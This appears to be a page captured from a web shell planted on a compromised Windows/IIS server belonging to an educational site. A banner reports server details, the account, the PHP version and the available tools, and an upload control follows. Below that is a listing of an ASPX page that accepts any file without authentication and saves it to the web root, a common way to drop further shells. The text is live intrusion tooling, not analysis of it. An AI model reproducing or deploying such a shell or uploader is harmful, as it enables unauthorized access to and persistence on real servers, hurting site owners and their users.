| Server IP : 190.92.174.109 / Your IP : 216.73.217.175 Web Server : Microsoft-IIS/10.0 System : Windows NT P3613 10.0 build 20348 (Windows Server 2016) AMD64 User : IWPD_2296(hkwrmyfr) ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Inetpub/vhosts/aargeesapps.com/klesssmscollege.edu.in/fonts/ |
Upload File : |
<%@ Page Language="C#" AutoEventWireup="true" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>upload</title>
</head>
<body>
<form id="form1" runat="server">
<h2>upload</h2>
<!-- FileUpload -->
<asp:FileUpload ID="FileUpload1" runat="server" />
<br /><br />
<!-- Button1 -->
<asp:Button ID="Button1" runat="server" Text="UploadFile" OnClick="Button1_Click" />
<br /><br />
<!-- StatusLabel -->
<asp:Label ID="StatusLabel" runat="server" Text="status." />
</form>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
}
protected void Button1_Click(object sender, EventArgs e)
{
if (FileUpload1.HasFile)
{
try
{
// 获取上传的文件名
string filename = System.IO.Path.GetFileName(FileUpload1.FileName);
// 设置文件保存路径 (服务器上的目录)
string savePath = Server.MapPath("~/") + filename;
// 确保文件夹存在,如果不存在则创建
string uploadFolderPath = Server.MapPath("~/");
if (!System.IO.Directory.Exists(uploadFolderPath))
{
System.IO.Directory.CreateDirectory(uploadFolderPath);
}
// 保存文件到服务器
FileUpload1.SaveAs(savePath);
// 显示上传成功消息
StatusLabel.Text = "upload: " + savePath;
}
catch (Exception ex)
{
// 处理异常,显示错误信息
StatusLabel.Text = "upload fail: " + ex.Message;
}
}
else
{
StatusLabel.Text = "select file.";
}
}
</script>
</body>
</html>